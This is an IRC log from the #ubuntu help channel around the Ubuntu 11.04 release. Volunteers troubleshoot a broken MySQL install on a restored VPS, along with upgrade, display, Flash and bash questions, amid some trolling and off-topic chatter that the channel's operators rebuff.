[21:44] <bsodmike> nope no file
[21:44] <hrezaei> how to control a remote desktop via remote desktop?! I have the remote IP.
[21:44] <ikonia> bsodmike: ok - so either a problem or mysql server is not running
[21:44] <bsodmike> I tried starting it
[21:44] <Emylbus> rehan: cool that's what i figured thanks
[21:44] <ikonia> bsodmike: check it's running ?
[21:44] <bsodmike> but no luck
[21:44] <deitarion> How do I change the framebuffer resolution on 11.04? It's giving me "Frequency out of range" on a 1440x900 widescreen and that makes fixing X11 troublesome when it breaks.
[21:44] <bsodmike> I'm pretty sure it isn't running
[21:44] <logi> Can someone help me? Sometimes my sound in Natty does not work.. I then have to press mute/unmute to get it back?
[21:44] <Rehan> Emylbus: no prob, i'm new to ubuntu too, just started :P
[21:45] <Emylbus> rehan: do you know if i want to reformat it?
[21:45] <needlez> flodine: id say 11.04 none of it is ready, even classic is giving some really bad bugs, like forcably kicking me from my session at random times and not showing any reason y
[21:45] <ikonia> bsodmike: ok, so you're going to have to check some logs first, the syslog and the mysql log is a good place to start
[21:45] <bsodmike> mysql logs are gone...for some reason
[21:45] <Rehan> Emylbus: i always do. if you don't have anything on there, might as well
[21:45] <osoba_> hmm i did the ccsm thing but the sidebar is still there
[21:45] <bsodmike> syslog I just checked...nothing much there
[21:45] <osoba_> might be due to the slowness of this partition
[21:45] <bsodmike> this is so strange
[21:45] <bsodmike> screen is also no longer working
[21:45] <bsodmike> getting odd PTY issues
[21:45] <osoba_> its an ide hard drive with a very small partition (8GB)
[21:45] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. No packages held
[21:45] <osoba_> its been kinda slow
[21:45] <ikonia> bsodmike: ok - painful, but here we go, walk through the init script to the part where ir runs mysqld-safe and try running that line
[21:46] <daniel2k> sulfo: maybe I should hire a midget and let the guy in my office when it's closed, just to watch the console screen hehehe
[21:46] <bsodmike> the init.d script?
[21:46] <JWay> guys, need some help. Just ran update manager and upon restarting and using ubuntu classic (not unity) it fails to load the panels and menus in the bottom and top of the screen
[21:46] <flodine> needlez i might have to return to suse .......LOL
[21:46] <JWay> unity runs fine
[21:46] <ikonia> bsodmike: you'll find it's a link to the upsetart script
[21:46] <brontosaurusrex> Inphernal, any 3rd party ppas and such?
[21:46] <Sacko> is it possible to net install ubuntu with win/mac as source?
[21:46] <ikonia> upstart even
[21:46] <bsodmike> ha it is
[21:46] <JWay> are there some log files specific to the panels/menus?
[21:47] <Inphernal> brontosaurusrex: Yeah, but they are disabled at the beginning of the upgrade? (Or so it says)
[21:47] <brontosaurusrex> Inphernal, ok, i was just guessing
[21:47] <needlez> flodine: got any good alternative to 11.04, i just want the snap windows and banshee integrated with my volume bar really, wish 10.10 just had snap windows and banshee instead of rhythmbox
[21:47] <bsodmike> it's just the general upstart script?
[21:47] <usalabs> bsodmike: type sudo service --status-all and see if mysql is listed as a service
[21:47] <bsodmike> k
[21:48] <mmhouk> wafinaaw !
[21:48] <bsodmike> [ ? ]  mysql
[21:48] <brous-kee> ikonia, is the newer ubuntu much much more into using upstart?
[21:48] <bsodmike> eek even cron has ?
[21:48] <pindropper> i am trying to add an option to one of my functions i wrote into ~/.bashrc. I am trying to do this by comparing the first arg by using if [[ "$1"= "-browse"]]; then do so and so. but every time i run it, bash says [["-browse"="-browse"]] command not found. what am i doing wrong?
[21:48] <sulfo> daniel2k: yop, but those guys are expensive ;) did you try conspy?
[21:48] <mmhouk> cozaa assy !
[21:49] <mmhouk> sdfgh
[21:49] <mmhouk> fdgfjdgf
[21:49] <killaz_> hello again i would like to know if im the only one having trouble with the flash player
[21:49] <mmhouk> g
[21:49] <mmhouk> j
[21:49] <mmhouk> gdfds
[21:49] <FloodBot3> mmhouk: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:49] <hrezaei> people! I want to use remote desktop! I have the remote IP
[21:49] <usalabs> also is mysql listed in the startup applications, system settings -> Personal -> Startup Applications
[21:49] <flodine> needlez im not happy right now with this release,it looks good but runs like junk this was rushed out im going back to suse.
[21:49] <bsodmike> usalabs: terminal only access.  This is a server.
[21:49] <mmhouk> long live Windows !
[21:50] <flodine> sad
[21:50] <usalabs> oh ok
[21:50] <ikonia> bsodmike: give a minute, eating
[21:50] <JoseeAntonioR> My Unity Dock doesn't auto-hide, what can I do?
[21:50] <mmhouk> ihahahaha
[21:50] <flodine> lol
[21:50] <escott> pindropper, bash likes spaces in tests, i think that is the source of your problem, you may also try #bash
[21:50] <bsodmike> sure
[21:50] <KM0201> flodine, it wasn't rushed
[21:50] <mmhouk> xxx
[21:50] <bsodmike> thanks ikonia
[21:50] <takatori> Anybody got any idea why Ubuntu won't pickup my Webcam's Microphone?  I can't use it for a Skype call for some strange reason, however it detects it fine as a Webcam.
[21:50] <pindropper> escott, thanks. and thanks
[21:50] <KM0201> it's just an initial release, jsut like when kde4 was initially released, it was awful
[21:50] <mmhouk> TROLLING RULEZ
[21:51] <needlez> flodine: i totally agree, i always used mint, but since the implement of plymouth i haven't found a good OS that strayed from plymouth that i liked
[21:51] <WhitePride> Need some help!
[21:51] <WhitePride> I updated ubuntu.
[21:51] <takatori> Well done.
[21:51] <daniel2k> sulfo: hmmmm I'll try it, conspy... thanks doc .. midgets are too expensive lol
[21:51] <WhitePride> To the new version.
[21:51] <WhitePride> But i don't like it.
[21:51] <usalabs> bsodmike: try this sudo service mysql --full-restart
[21:51] <killaz_> So im i the only one having trouble with the flash player i got like white square all over the place ?
[21:51] <WhitePride> Is there any possibility for me to downgrade?
[21:51] <Souperman> nope
[21:51] <ThinkT510> WhitePride,
[21:52] <ThinkT510> WhitePride: theres classic mode from the login screen
[21:52] <takatori> WhitePride : Speaking on different lines like that is ridiculously annoying.  You can always enable Classic Mode.
[21:52] <bsodmike> it claims start: Job is already running: mysql
[21:52] <killaz_> whitepride go wiht debian they got stable distro ubuntu is know to not test their stuff enough and always crash
[21:52] <pindropper> escott: it worked with the spaces ! i dint know bash was so sensitive. lol
[21:52] <bsodmike> but the socket error still persists
[21:52] <killaz_> ubuntu as problem a lot
[21:52] <ikonia> bsodmike: look for pid file
[21:52] <shade34321> Hey! After upgrading to 11.04 last night my wireless doesn't seem to be working/reconized.
[21:53] <brous-kee> umm still the upgrade seems to cause lots of problems for many,  Ubuntu ought to just say, may as well install from Fresh and do away with upgrades, causes too much issues since version 7
[21:53] <bsodmike> drwxr-xr-x 2 mysql root     4096 May  1 20:50 mysqld
[21:53] <bsodmike> can't seem to find it
[21:53] <bsodmike> ps -ef | grep mysqld
[21:53] <bsodmike> root     10231  1436  0 20:52 ttyp1    00:00:00 grep --color=auto mysqld
[21:53] <mastro> how do an NVIDIA Quadro NVS 2100M work with ubuntu? 3d support, tv out, monitor out, hibernation
[21:53] <shigutso> how can I keep unity urgent animation constant instead of animating only once?
[21:53] <ikonia> bsodmike: be with you asap
[21:53] <bsodmike> kk
[21:53] <ajay> oh haha i didn't even process that 11.04 just came out til just now.. ;^) nice! will have to check it.. later.. later!
[21:53] <usalabs> bsodmike: if mysql is using mysql.pid you can do a search using sudo find / -name mysql.pid
[21:54] <excelsior> sup
[21:54] <bsodmike> nothing
[21:54] <excelsior> if I upgrade from 10.10 to 11.04, will I lose any data?
[21:54] <JoseeAntonioR> How can I make the bar in the left side to auto-hide?
[21:54] <Serialk> no excelsior
[21:55] <redgone> anyone else also getting the "no video mode selected" error when booting 11.04 ?
[21:55] <brous-kee> excelsior, do a fresh install instead
[21:55] <sulfo> daniel2k: if you need just to watch the session and not capturing the control, you can use "cat /dev/vcsX", where X is the actual terminal number. and you'll need root privileges of course :)
[21:55] <usalabs> bsodmike: I forget what happens when you try to access mysql?, too many back scrolls lol
[21:56] <bsodmike> heh
[21:56] <bsodmike> # mysql
[21:56] <bsodmike> ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
[21:56] <ikonia> bsodmike: ok - lets work this through
[21:57] <bsodmike> ok
[21:57] <ikonia> bsodmike: can you pastebin the output of "ps -ef | grep mysql" please
[21:57] <excelsior> brous-kee: why do you suggest a fresh install? That will certainly lose my data.
[21:57] <bsodmike> http://pastie.org/1854541
[21:58] <excelsior> if I upgrade from 10.10 to 11.04, will I lose any data?
[21:58] <Jordan_U> excelsior: You can do a fresh install while preserving your /home (even if it's  not on a separate partition).
[21:58] <usalabs> excelsior: download the app called deja backup, and backup your home folder to an external drive, then do the upgraded, then you can restore your back
[21:58] <excelsior> Jordan_U: why are you recommending that?
[21:58] <Jordan_U> excelsior: No, you will not lose any data if you upgrade. Though you should always have backups.
[21:58] <Jordan_U> excelsior: I'm not.
[21:59] <ikonia> bsodmike: can you pastebin the init script for me please so we can work it through (not got an ubuntu box to hand to do it)
[21:59] <ikonia> bsodmike: you may want to use pastebinit to make it easy
[21:59] <ikonia> !pastebinit | bsodmike
[21:59] <ubottu> bsodmike: pastebinit is the command-line equivalent of !pastebin - Command output, or other text can be redirected to pastebinit, which then reports an URL containing the output - To use pastebinit, install the « pastebinit » package from a package manager - Simple usage: command | pastebinit -b http://paste.ubuntu.com
[21:59] <cobalt237> Running 'modprobe nvidia' confirms the module isn't installed.
[21:59] <killaz__> OK i would like to know if there is a way to unbug the flash player and does ubuntu like starting planing testing that work or something or ur still going the same way ?
[21:59] <flodine> excelsior dont do it
[21:59] <Ziber> On ubuntu 10.10, I'm trying to get two monitors to work, in extended mode instead of mirrored. Ubuntu says that "x server doesnt support size requested". What does that mean and how can I fix it?
[21:59] <dusf> anyone run mac os udner vmware/virtualbox on ubuntu?
[21:59] <cobalt237> If I reinstall nvidia-current, it says the module build is skipped because the kernel source isn't installed
[22:00] <dusf> !vmware
[22:00] <usalabs> I did my home folder backup, then upgraded to 11.04 then restored my home folder, and I got all my docs, images, etc etc back, as well as my firefox settings
[22:00] <ubottu> VMWare is not available in the Ubuntu repositories. Consider using !QEmu or !VirtualBox as alternatives. Instructions for installing VMWare manually are at https://help.ubuntu.com/community/VMware
[22:00] <ikonia> dusf: that would not be legal so please don't ask
[22:00] <tolmun_> Howto correctly setup 256 colors inside screen termina?
[22:00] <dusf> ikonia: i own the copy of mac os
[22:00] <ikonia> dusf: that doesn't matter, it's illegal
[22:00] <cobalt237> Is there a package for getting that kernel source so I could build modules?
[22:00] <damicita> an some one tell me how can i chage the order in the side panel in natty , i have allready tried with ubuntu-tweek  but still cant chage the order in with they are
[22:00] <dusf> ikonia: apple prohibit it?
[22:00] <usalabs> VMware is available free at the VMware site
[22:00] <ikonia> dusf: yes
[22:00] <dusf> k
[22:00] <usalabs> VMware player 3
[22:00] <bsodmike> http://pastie.org/1854541
[22:00] <bsodmike> refresh
[22:00] <escott> dusf, the only legal way to run osx is on mac hardware
[22:01] <killaz__> dusf do as u wish the the new millenium way
[22:01] <dusf> escott: i see
[22:01] <killaz__> noting is illegal but steal hack and ......
[22:01] <dusf> killaz__: new millenium way?
[22:01] <dusf> usalabs: would you recommend vmware over virtualbox?
[22:01] <killaz__> lol just to say regulation on the web dont stand
[22:01] <ikonia> bsodmike: tell you what, can you run "sudo mysqld-safe" please ?
[22:01] <killaz__> to me
[22:01] <killaz__> lol
[22:01] <escott> killaz__, if you want to discuss ways around the eula feel free to do so anywhere but on this channel
[22:01] <bsodmike> k
[22:02] <Ziber> On ubuntu 10.10, I'm trying to get two monitors to work, in extended mode instead of mirrored. Ubuntu says that "x server doesnt support size requested". What does that mean and how can I fix it?
[22:02] <ikonia> killaz__: do not tell someone to break a license agreement
[22:02] <usalabs> ikona, yes, I use vmware player it works great,,, Vbox doesn't have all the features that vmware player does
[22:02] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. No packages held
[22:02] <killaz__> yeah but im still waiting to get help flash player still buged as usual ubuntu upgrade is a big pack of crapy bug
[22:03] <ikonia> killaz__: enough -
[22:03] <killaz__> i means licsence so u tell me its illegal to mess around reversing engeneerieng my mp3 player
[22:03] <bsodmike> refresh pls
[22:03] <usalabs> oops, dusf: sorry, wrong address lol,,,,, yes I would reccomend Vmware player, as Vbox does not have the features that Vmware player has
[22:03] <ikonia> killaz__: I'll say this one time - do not recommend someone break the license
[22:03] <killaz__> licsence are a big joke to civ to corporation it as is user
[22:03] <bsodmike> the .pid file is named as per its hostname
[22:03] <killaz__> ok sory
[22:03] <bsodmike> I replaced that with XXXXX :)
[22:04] <tomasz> how can i connet to wlan using terminal ?
[22:04] <ikonia> bsodmike: that's fine, I'm not seeing a change when I refresh, are you sure the pastebin address is right
[22:04] <bsodmike> http://pastie.org/1854541
[22:04] <bsodmike> it should?
[22:04] <bsodmike> check the top
[22:05] <ikonia> bsodmike: sorry, it did change
[22:05] <ikonia> got it
[22:05] <ikonia> bsodmike: ok - ps -ef | grep mysql anything running ?
[22:05] <bsodmike> yeah I'm putting stuff at the top
[22:05] <flodine> ok guys enjoy ubuntooo headed back to SUSE
[22:05] <bsodmike> nope
[22:05] <ikonia> bsodmike: ok anything in the syslog ?
[22:05] <ikonia> ahhhhhhh I think I know the problem
[22:05] <escott> ikonia, do you know what the next step for Inphernal is we confirmed he has nothing held, but i'm unsure why we would be getting resolve errors?
[22:06] <miky_> ubuntu is based on windows me
[22:06] <ikonia> bsodmike: what version of ubuntu is this ?
[22:06] <cobalt237> Also I don't see any nvidia-current-kernel-source
[22:06] <bsodmike> 10.04.2 I think
[22:06] <bsodmike> 2.6.18-028stab089.1 #1 SMP Thu Apr 14 13:46:04 MSD 2011 x86_64 GNU/Linux  // it's LTS
[22:07] <ikonia> ahhh a vps
[22:07] <bsodmike> indeed
[22:07] <bsodmike> I just had them restore it's backup
[22:07] <usalabs> gotta go, band practice,,, catch y'all laters
[22:07] <ikonia> bsodmike: please do "dpkg -l | grep -i mysql"
[22:07] <bsodmike> dpkg-query: failed to open package info file `/var/lib/dpkg/available' for reading: No such file or directory
[22:07] <bsodmike> I had to create a file by hand to run apt-get update
[22:08] <ikonia> bsodmike: I think we are getting there.......
[22:08] <bsodmike> seems like lots are broken :s
[22:08] <ikonia> bsodmike: sudo find / -name mysqld -print
[22:08] <bsodmike> oh
[22:08] <bsodmike> > /usr/sbin/mysqld
[22:08] <bsodmike> > /var/run/mysqld
[22:08] <ikonia> bsodmike: that's surprised me
[22:08] <kneaux> "hax-"? spambot?
[22:08] <escott> damicita, click pull out from the panel, then drag up or down
[22:08] <bsodmike> it didn't run last time, of course I didn't have the -print after it before
[22:09] <ikonia> bsodmike: didn't expect it to be there
[22:09] <bsodmike> usr/sbin?
[22:09] <ikonia> bsodmike: ok, lets up the aunty a bit
[22:09] <ikonia> bsodmike: /usr/sbin/mysqld
[22:09] <kneaux> hi, i'm having trouble getting my monitors configured
[22:09] <damicita> where do i click pull out in the tweek ?
[22:09] <pbo> Ubuntu classic starts up without any top menu or task bar.. any suggestions? Just upgraded, think there was an update for my intel gfx card
[22:09] <bsodmike> it didn't do anything
[22:09] <escott> damicita, i mean do it to the panel. its like a drag and drop, but you have to pull out to center a bit
[22:09] <bsodmike> or seem to at least
[22:10] <bsodmike> don't see any pid
[22:10] <damicita> ok ill try know
[22:10] <damicita> ok when i do that they all move
[22:10] <bsodmike> hmm
[22:10] <ikonia> bsodmike: let me walk this through in my head
[22:10] <bsodmike> kk
[22:10] <kneaux> before i upgraded, if i just opened  up "Monitors" my aux. monitor would auto-configure, but now I get an error when I try to turn off "same image in both monitors"
[22:11] <escott> damicita, you might look for a youtube video, its hard to explain, you want to pull the icon towards the center of the screen and then without releasing it bring it back down
[22:11] <escott> damicita, the icon should come out of the panel and be replaced by a cursor
[22:11] <kneaux> "The selected configuration for displays could not be applied: require
[22:12] <damicita> i have been looking and i do just that that u say , but is like t here stuck  the wont move individualy
[22:12] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. No packages held
[22:12] <damicita> ok i got it thankk u ... u cant imagen how many hrs i been page by page tring to see how
[22:12] <escott> damicita, there are some that won't move namely the last 4
[22:13] <kneaux> "The selected configuration for displays could not be applied / required virtual size does not fit available size: requested=(2560,841), minimum=(320,200), maximum=(1440,1440)"
[22:13] <damicita> thank you
[22:13] <nobres> i just updated only 32bit on my laptop but 64 is still on merkat
[22:13] <damicita> escott: is done thank you :)
[22:13] <ikonia> bsodmike: can you do "which mysqld" please
[22:13] <gb__> ello peeps
[22:13] <nobres> i just 2 sceptic about eleven64
[22:14] <bsodmike> on the money
[22:14] <bsodmike> # which mysqld
[22:14] <kneaux> there's nothing in my xorg.conf about this, either
[22:14] <kneaux> so it should be autoconfiguring
[22:14] <gb__> how do i add application to launcher please?
[22:14] <bsodmike> # which mysqld
[22:14] <bsodmike> >> /usr/sbin/mysqld
[22:14] <ikonia> bsodmike: /usr/sbin/mysqld --verbose
[22:14] <bsodmike> nothing
[22:14] <dusf> ubottu: ty
[22:14] <ubottu> You're welcome! But keep in mind I'm just a bot ;-)
[22:14] <dusf> ikonia: ty
[22:14] <dusf> escott: ty
[22:14] <Doom_-_> I would need help , i got flash player poping white square i got rythmbox crashing how do i fix the flash player bugging anyone know or it is behind your knowledge ?
[22:15] <ikonia> bsodmike: ok - I can't be %100 sure without more effort, but what I'm guessing is one of the libraries/deps mysql wants to use is missing
[22:15] <kneaux> Having trouble configuring dual monitors, can anybody help?
[22:15] <ikonia> bsodmike: if it was there, and there was a problem that command would give you output
[22:15] <bsodmike> anyworth in rebooting the box?
[22:15] <gb__> anyone know about unity lancher on left side?
[22:15] <kyubutsu> gb__: run the application you want added, right click its icon, select 'keep in panel'
[22:15] <bsodmike> ah
[22:15] <ikonia> bsodmike: maybe worth "sudo apt-get reinstall mysql-server"
[22:15] <Oday> how do i use "mv" to move files that are inside a directory?
[22:15] <Oday> ...
[22:15] <ikonia> bsodmike: see if it pulls down any of the debs
[22:15] <bsodmike> would that wipe any dbs?
[22:15] <gb__> kyubutsu: ok
[22:16] <ikonia>  bsodmike no, that's data files, they are safe
[22:16] <ikonia> bsodmike: back them up if you are unsure
[22:16] <Doom_-_> so no one is able to help with my flash problem since i upgraded ?
[22:16] <bsodmike> reinstall invalid op
[22:16] <bsodmike> where is the mysql data stored?
[22:16] <bsodmike> location wise?
[22:16] <sulfo> Doom_-_: how did you get into that state :)? did you do the upgrade?
[22:16] <Doom_-_> yes
[22:16] <JoseeAntonioR> Ooday In Terminal, type sudo mv [Current location] [Destination]
[22:17] <bsodmike> I think my backup script relied on mysqladmin to grab the backups
[22:17] <ikonia> bsodmike: hang on, I'm rusty
[22:17] <bsodmike> kk
[22:17] <ikonia> bsodmike: it's apt-get install --reinstall mysql-server
[22:17] <kingofswords> having trouble uninstalling crossover..even after i run /opt/cxoffice/bin/cxuninstall...any 1 know of anything?
[22:17] <ikonia> bsodmike: the data files are normally /var/lib/mysql
[22:17] <escott> Oday, mv directory/* newdirectory/
[22:17] <gb__> grr i dont see it
[22:17] <vessago> help pls....
[22:17] <bsodmike> mysqldump -A --add-drop-table --opt -Q -u root | gzip > $OUTFILE
[22:17] <bsodmike> would use that to backup
[22:17] <Doom_-_> yes it was when i upraded
[22:17] <Oday> ahh ok escott , figured it had something to do with *
[22:17] <bsodmike> k
[22:18] <vessago> PHP Fatal error:  Call to undefined method PEAR::raiseErro() in /usr/share/php/PEAR/REST.php on line 165  <---------- what is that and how do i fix
[22:18] <ikonia> bsodmike: looks like it, I think -A is all
[22:18] <ikonia> however.....
[22:18] <bsodmike> wow it's leeching heluva lot
[22:18] <IdleOne> Oday: sudo mv /all/these/files/* /to/this/dir
[22:18] <ikonia> bsodmike: sudo find / -name '*.MYD' -print will show you the db files
[22:18] <bsodmike> wtf
[22:18] <ikonia> bsodmike: you can manually back them up if you want
[22:18] <bsodmike> E: Could not perform immediate configuration on 'libattr1'.Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
[22:18] <ikonia> bsodmike: whoaa, easy on the language
[22:18] <bsodmike> sure thanks ikonia
[22:19] <ikonia> bsodmike: you're dependency tree is messed up by the looks of it
[22:19] <bsodmike> yeah
[22:19] <ikonia> I'm guessing due to the restore
[22:19] <sulfo> Doom_-_: i presume you've already tried to reinstall the flash and mozilla... that's where i'd start. and -this might sound like a words of noob :) - i'd probably try to do a fresh install
[22:19] <bsodmike> anyway I can fix it?
[22:19] <vessago> any ideas ... ?\
[22:19] <ddilinger> I'm trying to install ubuntu on a laptop with an Atheros 9287 network card using the natty netboot image.  It appears that the ath9k wireless driver is not included on this disk.  I know i can adjust the provided initrd.gz to contain the right module, but is there an easier way?
[22:19] <vessago> PHP Fatal error:  Call to undefined method PEAR::raiseErro() in /usr/share/php/PEAR/REST.php on line 165  <---------- what is that and how do i fix
[22:19] <yakubori> vessago: missing the final 'r' in raiseError()?
[22:20] <ddilinger> vessago: purely guessing, add an r
[22:20] <Jordan_U> ddilinger: Do you need to netboot?
[22:20] <ddilinger> Jordan_U: unless i go buy a blank cd
[22:20] <vessago> yakubori: how / where do  i add this r
[22:20] <ddilinger> Jordan_U: changing initrd is easier than going to the store :P
[22:20] <yakubori> vessago: in line 165 of the REST.php file mentioned...
[22:21] <Jordan_U> ddilinger: Or use a USB drive, or other options depending on what OS is currently on the computer in question.
[22:21] <vessago> loool kk lemme check
[22:21] <Doom_-_> sulfo its always the same u upgrade then it bug i wont get any longer in that stupid infinite loop of problem i might just switch to other distro if i dont find a fix
[22:21] <ddilinger> Jordan_U: its currently a blank drive, and i would then have to own a usb drive, another trip to the store
[22:21] <yakubori> anyone had trouble with modperl in 11.04?
[22:21] <yakubori> i am having a hell of a time...
[22:21] <Doom_-_> so the best for flashplayer problem here is reinstall ?
[22:22] <xteejx> Hi all, how can I quickly mass rename 1000+ jpg images like 0001.jpg 0002.jpg etc?
[22:22] <LjL> xteejx: the "rename" program may help
[22:22] <Jordan_U> ddilinger: Then editing the initrd is probably your best option.
[22:22] <yakubori> xteejx: perl scripte
[22:22] <yakubori> :P
[22:22] <xteejx> any quick solutions? :P
[22:22] <ddilinger> Jordan_U: halfway there already:)  decompressed initrd, copying the drivers into palce
[22:22] <Omega> Doom_-_: What's the problem?
[22:22] <IdleOne> xteejx: pyrename is in the repos
[22:22] <vessago> kk that worked but now pear install PEAR-1.9.2
[22:23] <vessago> No releases available for package "pear.php.net/PEAR"
[22:23] <LjL> xteejx: it doesn't get any quicker than "rename", but it depends on what exactly you want to do.
[22:23] <vessago> install failed
[22:23] <wzssyqa> I have a problem: 2 user have no .profile and .bashrc either, but have different $PATH ,why ?
[22:23] <xteejx> vessago: Cool Ill have a look :)
[22:23] <yakubori> xteejx: all depends on what exactly you're trying to do...
[22:23] <wzssyqa> http://forum.ubuntu.org.cn/download/file.php?id=131517&mode=view/Screenshot.png
[22:23] <sulfo> Doom_-_: definitely it is probably not the best way around this. but i have to agree with you on this one - the loop. i don't know what might cause this.. because i didn't do the upgrade
[22:23] <yakubori> do you have a bunch of numbered images?
[22:23] <Doom_-_> omega i got white square flashing all over my flash player thats the prob and  i hate to reinstall so ... my config is like hours and hours of tweaking
[22:24] <vessago> im trying to install uploadprogress library (preferred) or to install APC.
[22:24] <xteejx> yakubori: No, but that's what I want to end up with :)
[22:24] <bsodmike> ikonia: hello?
[22:24] <Doom_-_> so i would like to fix my flash player
[22:24] <Omega> Doom_-_: Hmm, interesting I have the same problem.
[22:24] <Doom_-_> omega is it coz not enough testing i supose i would not get this prob on debian ?
[22:24] <HyperShock> what do i need to do in order to configure unity to work the way I want?
[22:24] <Omega> Doom_-_: Oddly flash works in chromium, but I like firefox more.
[22:25] <Omega> Doom_-_: No, it's a recent problem.
[22:25] <yakubori> xteejx: i'd just slurp all the files one-by-one and name them with a counter, incrementing the counter each time... bash or perl script will do this for ya fine
[22:25] <Doom_-_> ok so i would get the same prob over debian i taught them they were careful
[22:25] <kneaux> Can anybody help me configure my auxilliary monitor?
[22:25] <xeodox> hey guys... can a server hostname (/etc/hostname) be "mail.mydomain.com "?
[22:25] <HyperShock> !unity
[22:25] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[22:26] <escott> xeodox, if you register mydomain.com
[22:26] <Omega> Doom_-_: The problem is only on some sites though, it works fine on youtube
[22:26] <ikonia> xeodox: yes it can be what you want, it's just a hostname
[22:26] <vessago> how do i write protect sites/default/settings.php
[22:27] <yakubori> vessago: chmod
[22:27] <xeodox> great, tanks
[22:27] <vessago> lol mmm what chmod ..?
[22:27] <escott> vessago, chmod -w filename
[22:27] <Doom_-_> yeah well cant watch tv online from where i like with this
[22:27] <yakubori> vessago: you're on ubuntu, ya?
[22:27] <tomatobros> hi guys i interesting problem when i click my apps opened on my desk sometime it can't change apps i mean mouse click don't work :S
[22:27] <vessago> yes
[22:27] <tomatobros> have
[22:27] <tomatobros> :P
[22:28] <yakubori> vessago: have you ever used bash before (terminal)?
[22:28] <vessago> im only 12 yers old
[22:28] <Doom_-_> i dont know if im suposed to hate adobe or ubuntu lol
[22:28] <yakubori> ah
[22:28] <natanielcz> siemka
[22:29] <natanielcz> jest tu ktos?
[22:29] <yakubori> Doom_-_: adobe
[22:29] <Doom_-_> lol
[22:29] <yakubori> ^^ my vote
[22:29] <yakubori> :P
[22:30] <damon> hey can anybody help me with an ubuntu 11.04 issue?  when running process from a terminal they always run in background and I can't make them switch to foreground
[22:30] <yakubori> so no one's done a modperl install on 11.04?
[22:30] <Doom_-_> anywone know where i could get help unlock a exe there is files lock inside a exe that i want ?
[22:30] <yakubori> damon: fg isn't working?
[22:30] <ikonia> Doom_-_: ##windows
[22:30] <natanielcz> Hi
[22:30] <damon> yakubori: when I run ps it doesn't even show the process I ran
[22:30] <bsodmike> hmm
[22:31] <bsodmike> ikonia: not sure how to proceed mate
[22:31] <Jordan_U> damon: What command are you running?
[22:31] <natanielcz> anyone can give me file gnome.session from natty?
[22:31] <Doom_-_> ##windows will bugg me for the legal issue ?
[22:31] <ikonia> bsodmike: trying to think of the best way to deal with it
[22:31] <bsodmike> ah
[22:31] <damon> Jordan_U: nautilus
[22:31] <ikonia> Doom_-_: #ubuntu will bug you if you're trying to do something illegal
[22:31] <natanielcz> my file is destroyed ;(
[22:31] <Omega> Doom_-_: you want to unlock a exe file?
[22:31] <litropy> Why is update-manager -d trying to install a bunch of KDE stuff?
[22:31] <Jordan_U> damon: That's because nautilus is being smart and realizing that it's already running.
[22:31] <Omega> i think archive manager can open exe files
[22:32] <Doom_-_> its not illegal its just that its lock they got user licsence against this the usual il restrict anyhing i can
[22:32] <kneaux> I'd love a little help troubleshooting my monitor configuration...anybody.....
[22:32] <Jordan_U> damon: That won't happen with all (or even most) commands.
[22:32] <Doom_-_> yeah for my mp3 player i got like fille copiled in it as ressource
[22:32] <bsodmike> just tried the same apt-get but with --fix-missing
[22:32] <ikonia> bsodmike: I'm trying to think of a way to regenerate the package list so it knows what's installed, I have done this before years ago, so I'm confident it's doable
[22:32] <Jordan_U> damon: It's not that the process that you ran is going into the background, it's ended.
[22:32] <damon> Jordan_U: oh, interesting.  Makes sense, thanks.  Do you know how to make nautilus feed me terminal output then?  I need to debug a script.  I don't recall this being hard to do in 10.04
[22:32] <Doom_-_> like the icon but it is config file for my archos
[22:32] <bsodmike> ah :)
[22:32] <Doom_-_> nobody broke the rev 2 lol
[22:33] <JoseeAntonioR> Guys, do you know where can I download Ubuntu 6.06.2 Desktop Edition? Because in the releases page I can only download 6.06.2 Server Edition...
[22:33] <ddilinger> ikonia: not sure if its what your looking for, but dpkg --get-selections can be used to find the currently installed package list
[22:33] <bsodmike> ikonia: https://help.ubuntu.com/community/InstallingSoftware
[22:33] <Doom_-_> omega yes i want to unlock it with ubuntu once unlock i can extract file wiht file manager
[22:33] <litropy> is ubuntu/canonical deciding to utilize some of KDE's resources, or is update-manager confused?
[22:34] <bsodmike> zcat -f /var/log/dpkg.log* | grep "\ install\ " | sort
[22:34] <bsodmike> hmm
[22:34] <Doom_-_> on windows u cant see those files they are hidden real good
[22:34] <kyubutsu> JoseeAntonioR: 6.06 is no longer supported
[22:34] <OerHeks> JoseeAntonioR,  maybe with torrent > http://torrent.ubuntu.com:6969/
[22:34] <Jordan_U> damon: I don't know.
[22:35] <JoseeAntonioR> kyubutsu I am making a collection of every single version of Ubuntu, and I want to download it to burn it.
[22:35] <sammy> I've been trying to track down what mirror file ubuntu is talking about when it says 'warning: failed to find mirror file' but all ifind are unrelated issues where that message jsust happens to appear in people's logs. any suggestions?
[22:35] <JoseeAntonioR> OerHeks Thanks, I'll try.
[22:35] <yakubori> i think modperl's totally effed up... :(
[22:35] <sammy> Id like to update but I'd really like to do it from anywhere but the default since I'm sure its still overloaded
[22:35] <damon> Jordan_U: thanks, that at least helps me know what to google
[22:35] <Jordan_U> JoseeAntonioR: http://old-releases.ubuntu.com/
[22:35] <yakubori> the Apache::*Rec modules are puking
[22:35] <Jordan_U> damon: You're welcome.
[22:35] <Doom_-_> i know i could find the answer in ida pro books but anyone know how to unlock a exe on ubuntu like i tryied the permission in properties it doesnt work its like the file is protecting itself against it
[22:36] <natanielcz> anyone can give me file gnome.session from natty?
[22:36] <sammy> Doom_-_: unlock an exe?
[22:36] <Deihmos> why woul di have wireless durig live cd but after installation there i sno wireless
[22:36] <Doom_-_> yes
[22:36] <bsodmike> that just creates a list of the packages
[22:36] <Doom_-_> unlock a exe
[22:36] <kyubutsu> sammy: follow the oficial page to the torrent section
[22:36] <Omega> Doom_-_: ubuntu doesn't use exe's
